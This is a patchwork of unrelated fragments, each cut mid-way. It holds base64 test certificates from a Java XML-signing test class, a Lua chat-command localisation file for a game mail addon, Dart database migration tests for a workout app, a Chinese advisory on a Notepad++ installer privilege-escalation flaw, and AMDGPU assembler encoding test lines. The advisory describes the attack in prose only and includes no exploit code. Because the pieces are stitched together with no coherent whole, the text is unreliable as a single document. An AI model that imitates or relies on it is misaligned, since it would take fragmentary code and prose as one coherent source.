        +"Hm3+QSKIDTjcLRJgCGgTXSAJPCZtp43+kWCV5iGbbemBchOCh4Oe/4IPQERlfJhy"
        +"MH0gXLglG9KSbuKkqMSzaZoZk06q750KBKusKhK+mvhp08++KyXZna3p6itdAhUA"
        +"ntjYRJsYqqQtIt0htCGCEAHCkg8CgYA4E4VMplm16uizoUL+9erNtLI886f8pdO5"
        +"vXhcQG9IpZ0J7N6M4WQy8CFzTKjRJLs27TO2gDP8BE50mMOnbRvYmGIJsQ9lZHTj"
        +"UqltWh9PJ0VKF0fCwQbA3aY+v8PiHxELvami+YyBiYjE2C6b1ArKOw1QsEL0KakJ"
        +"cr22yWFaKgOBhQACgYEAiTsSMcEKhYCWg2ULDwD/4ueYyDcRvyoSrT7uCdGU0Y/w"
        +"2wPuI+kV5RfHxjs6YLDuJsQJg6rfi3RfgmwQJVzClDfgUN12qzRbSidepg/7ipkC"
        +"Gk0/eyY1A99z3K+FUZm2MVgune4ywCorPUpxz6WHS7/dSWYMWtSrr92PzgnwZbKj"
        +"YzBhMB0GA1UdDgQWBBRJ3xUuyl6ZroD3lFm3nw/AhCPeJTAPBgNVHRMBAf8EBTAD"
        +"AQH/MB8GA1UdIwQYMBaAFEnfFS7KXpmugPeUWbefD8CEI94lMA4GA1UdDwEB/wQE"
        +"AwIBhjAJBgcqhkjOOAQDAzAAMC0CFQCEGSmvJf6rxy6u7ZqY25qE7Hy21gIUPW4q"
        +"++YIS2fHyu+H4Pjgnodx5zI=";

    /**
     * Test CA certificate for ECDSA signatures.
     *
     * <pre>
     *  Serial Number: 54:2F:83:82:6A:22:AE:CD
     *   Signature Algorithm: ecdsaWithSHA256
     *   Issuer: CN=ECCA
     *   Validity
     *       Not Before: Aug 21 08:03:16 2013 GMT
     *       Not After : Aug 20 13:20:31 2023 GMT
     *  Subject: CN=TestXMLSignerEC
     * </pre>
     */
    public static final String CERT_ISSUER_ECDSA =
            "MIIBdzCCAR2gAwIBAgIIVC+Dgmoirs0wCgYIKoZIzj0EAwIwDzENMAsGA1UEAwwERUNDQTAeFw0x"
            +"MzA4MjAxMzIwMzFaFw0yMzA4MjAxMzIwMzFaMA8xDTALBgNVBAMMBEVDQ0EwWTATBgcqhkjOPQIB"
            +"BggqhkjOPQMBBwNCAAQkIXc1SKnM/mNsGiK2ldpUmg6LFiJSF6pJk30sPLs9X6WUEwCtjE57CLch"


AH_Mailcollect = {ACEUTIL_VERSION = 1.01}

if not ace:LoadTranslation("AH_MailCollect") then
AH_MailCollectLocals = {}

--[[ ================================================= ]]--
--  Section I: The Chat Options.						  --
--[[ ================================================= ]]--

AH_MailCollectLocals.ChatCmd = {"/ahmailcollect", "/amc"}

AH_MailCollectLocals.ChatOpt = {
{
		option		= "summary",
		desc		= "Toggles showing a summary of total money received.",
		method		= "ToggleGainLossSummaryMail",
		args		= {
			{
				option   = "help",
				desc	 = "Allows you to toggle whether or not to show a summary of total money received from your Inbox after closing the mailbox window."
			}
		}
	},
{
		option		= "verbose",
		desc		= "Toggles showing each money amount as it's processed from mail.",
		method		= "ToggleGainLossDisplayMail",
		args		= {
			{
				option   = "help",
				desc	 = "Allows you to toggle whether or not to show a detailed list of money amounts received from your Inbox as it's being processed."
			}
		}
	},
{
		option		= "items",
		desc		= "Toggles whether or not to loot item attachments when opening messages.",
		method		= "ToggleLootItems",
		args		= {
			{
				option   = "help",
				desc	 = "Allows you to toggle whether or not to automatically retrieve items from your inbox messages when you right-click on them.",
			}
		}
	},
{
		option		= "auctionitems",
		desc		= "Toggles whether or not to loot all auction item attachments when opening messages.",
		method		= "ToggleAuctionItems",
		args		= {
			{
				option   = "help",
				desc	 = "Allows you to toggle whether or not to automatically retrieve all Auction items from your messages when you open the inbox.",
			}
		}
	},
{
		option		= "deleteall",
		desc		= "Toggles whether or not to delete messages with attachments sent to you by others after looting.",
		method		= "ToggleDeleteAllMail",
		args		= {
			{
				option   = "help",
				desc	 = "Allows you to toggle whether or not to automatically delete a message with an item sent to you by anotherh player after you retreive the item from your inbox message.  In some cases you may want to keep the test in the message and not delete right away, so this is an option.",
			}
		}
	},
}

--[[ ================================================= ]]--
-- Section II: AddOn In


      },
    );
  });

  test('migration from v2 to v3 adds sequence column', () async {
    final testDate = DateTime(2024, 1, 1);

    final oldPlansData = <v2.PlansData>[
      v2.PlansData(
        id: 1,
        exercises: 'Push-ups,Squats',
        days: 'Monday,Wednesday',
      ),
    ];
    final expectedNewPlansData = <v3.PlansData>[
      v3.PlansData(
        id: 1,
        sequence: null,
        exercises: 'Push-ups,Squats',
        days: 'Monday,Wednesday',
      ),
    ];

    final oldGymSetsData = <v2.GymSetsData>[
      v2.GymSetsData(
        id: 1,
        name: 'Push-ups',
        reps: 15.0,
        weight: 0.0,
        unit: 'kg',
        created: testDate,
      ),
    ];
    final expectedNewGymSetsData = <v3.GymSetsData>[
      v3.GymSetsData(
        id: 1,
        name: 'Push-ups',
        reps: 15.0,
        weight: 0.0,
        unit: 'kg',
        created: testDate,
      ),
    ];

    await verifier.testWithDataIntegrity(
      oldVersion: 2,
      newVersion: 3,
      createOld: v2.DatabaseAtV2.new,
      createNew: v3.DatabaseAtV3.new,
      openTestedDatabase: AppDatabase.new,
      createItems: (batch, oldDb) {
        batch.insertAll(oldDb.plans, oldPlansData);
        batch.insertAll(oldDb.gymSets, oldGymSetsData);
      },
      validateItems: (newDb) async {
        expect(expectedNewPlansData, await newDb.select(newDb.plans).get());
        expect(expectedNewGymSetsData, await newDb.select(newDb.gymSets).get());
      },
    );
  });

  test('migration from v3 to v4 adds title column', () async {
    final oldPlansData = <v3.PlansData>[
      v3.PlansData(
        id: 1,
        sequence: 1,
        exercises: 'Bench Press,Squats',
        days: 'Monday,Friday',
      ),
    ];
    final expectedNewPlansData = <v4.PlansData>[
      v4.PlansData(
        id: 1,
        sequence: 1,
        exercises: 'Bench Press,Squats',
        days: 'Monday,Friday',
        title: null,
      ),
    ];

    await verifier.testWithDataIntegrity(
      oldVersion: 3,
      newVersion: 4,
      createOld: v3.DatabaseAtV3.new,
      createNew: v4.DatabaseAtV4.new,
      openTestedDatabase: AppDatabase.new,
      createItems: (batch, oldDb) {
        batch.insertAll(oldDb.plans, oldPlansData);
      },
      validateItems: (newDb) async {
        expect(expectedNewPlansData, await newDb.select(newDb.plans).get());
      },
    );
  });

  test('migration from v4 to v5 adds hidden column to gym sets', () async {
    final testDate = DateTime(2024, 1, 1);

    final oldGymSetsData = <v4.GymSetsData>[
      v4.GymSetsData(
        id: 1,
        name: 'Deadlift',
        reps: 5.0,
        weight: 100.0,
        unit: 'kg',
        created: testDate,
      ),
    ];

    await verifier.testWithDataIntegrity(
      oldVersion: 4,
      newVersion: 5,
      createOld: v4.DatabaseAtV4.new,
      createNew: v5.DatabaseAtV5.new,
      openTestedDatabase: AppDatabase.new,
      createItems: (batch, oldDb) {
        batch.inse


双星、噩梦公式等多起业界知名的0day在野攻击，独家披露多个国家级APT组织的高级行动，赢得业内外的广泛认可，为360保障国家网络安全提供有力支撑。

> **原文链接**: https://mp.weixin.qq.com/s?__biz=MzI3NzMzNzE5Ng==&mid=2247490297&idx=1&sn=e295cee3d68a7199efefddfb2c56c791

#  【高危漏洞预警】Notepad++权限提升漏洞(CVE-2025-49144)
cexlife  飓风网络安全   2025-06-24 05:07

![](https://mmbiz.qpic.cn/mmbiz_png/ibhQpAia4xu00Um94S0fA3hKOSSz2ctOSoydLvUr0riaZlHTq9ibFyCaia1UhIpMIw1quoYbyKQZMVia6qFZYSTtkqibA/640?wx_fmt=png&from=appmsg "")

漏洞描述:

Nоtераd++是一个免费且开源的源代码编辑器,在8.8.1及更早版本中,Nоtераｄ++v8.8.1安装程序中存在一个权限提升漏洞,允许非特权用户通过不安全的可执行文件搜索路径获得SYSTEM级权限,攻击者可以使用社会工程学或点击劫持诱使用户将合法安装程序和恶意可执行文件下载到同一目录通常是下载文件夹该目录被称为易受攻击的目录,在运行安装程序时,攻击会自动以SYSTEM权限执行,此问题已在8.8.2版本中修复并即将发布。

![](https://mmbiz.qpic.cn/mmbiz_png/ibhQpAia4xu00Um94S0fA3hKOSSz2ctOSoQ9xG1TCPP8nLibuS4JbAbM3U59k8vrJMuxIQibezdp5tHeQSfQtLB3bA/640?wx_fmt=png&from=appmsg "")

![](https://mmbiz.qpic.cn/mmbiz_png/ibhQpAia4xu00Um94S0fA3hKOSSz2ctOSowIHJMfRUxnc1oVzX9HI5wOr6KuqdNbL6Ta5QVsibic1Imyd0nkVvQUqQ/640?wx_fmt=png&from=appmsg "")

攻击场景:

攻击者可以通过社会工程学或点击劫持诱使用户将合法安装程序和恶意可执行文件下载到同一目录导致权限提升。

影响产品:

Notepad++所有版本

修复建议:

补丁名


: [0xff,0x0f,0x3f,0xe8,0x00,0x01,0x03,0x04]

tbuffer_store_format_d16_xyz v[1:3], off, s[12:15], s4 format:[BUF_DATA_FORMAT_10_10_10_2] offset:4095
// CHECK: [0xff,0x0f,0x47,0xe8,0x00,0x01,0x03,0x04]

tbuffer_store_format_d16_xyz v[1:3], off, s[12:15], s4 format:[BUF_DATA_FORMAT_2_10_10_10] offset:4095
// CHECK: [0xff,0x0f,0x4f,0xe8,0x00,0x01,0x03,0x04]

tbuffer_store_format_d16_xyz v[1:3], off, s[12:15], s4 format:[BUF_DATA_FORMAT_8_8_8_8] offset:4095
// CHECK: [0xff,0x0f,0x57,0xe8,0x00,0x01,0x03,0x04]

tbuffer_store_format_d16_xyz v[1:3], off, s[12:15], s4 format:[BUF_DATA_FORMAT_32_32] offset:4095
// CHECK: [0xff,0x0f,0x5f,0xe8,0x00,0x01,0x03,0x04]

tbuffer_store_format_d16_xyz v[1:3], off, s[12:15], s4 format:[BUF_DATA_FORMAT_16_16_16_16] offset:4095
// CHECK: [0xff,0x0f,0x67,0xe8,0x00,0x01,0x03,0x04]

tbuffer_store_format_d16_xyz v[1:3], off, s[12:15], s4 format:[BUF_DATA_FORMAT_32_32_32] offset:4095
// CHECK: [0xff,0x0f,0x6f,0xe8,0x00,0x01,0x03,0x04]

tbuffer_store_format_d16_xyz v[1:3], off, s[12:15], s4 format:[BUF_DATA_FORMAT_32_32_32_32] offset:4095
// CHECK: [0xff,0x0f,0x77,0xe8,0x00,0x01,0x03,0x04]

tbuffer_store_format_d16_xyz v[1:3], off, s[12:15], s4 format:[BUF_DATA_FORMAT_RESERVED_15] offset:4095
// CHECK: [0xff,0x0f,0x7f,0xe8,0x00,0x01,0x03,0x04]

tbuffer_store_format_d16_xyz v[1:3], off, s[12:15], s4 format:[BUF_DATA_FORMAT_INVALID] offset:4095
// CHECK: [0xff,0x0f,0x07,0xe8,0x00,0x01,0x03,0x04]

tbuffer_store_format_d16_xyz v[1:3], off, s[12:15], s4 format:[BUF_NUM_FORMAT_UNORM] offset:4095
// CHECK: [0xff,0x0f,0x0f,0xe8,0x00,0x01,0x03,0x04]

tbuffer_store_format_d16_xyz v[1:3], off, s[12:15], s4 format:[BUF_NUM_FORMAT_SNORM] offset:4095
// CHECK: [0xff,0x0f,0x8f,0xe8,0x00,0x01,0x03,0x04]

tbuffer_store_format_d16_xyz v[1:3], off, s[1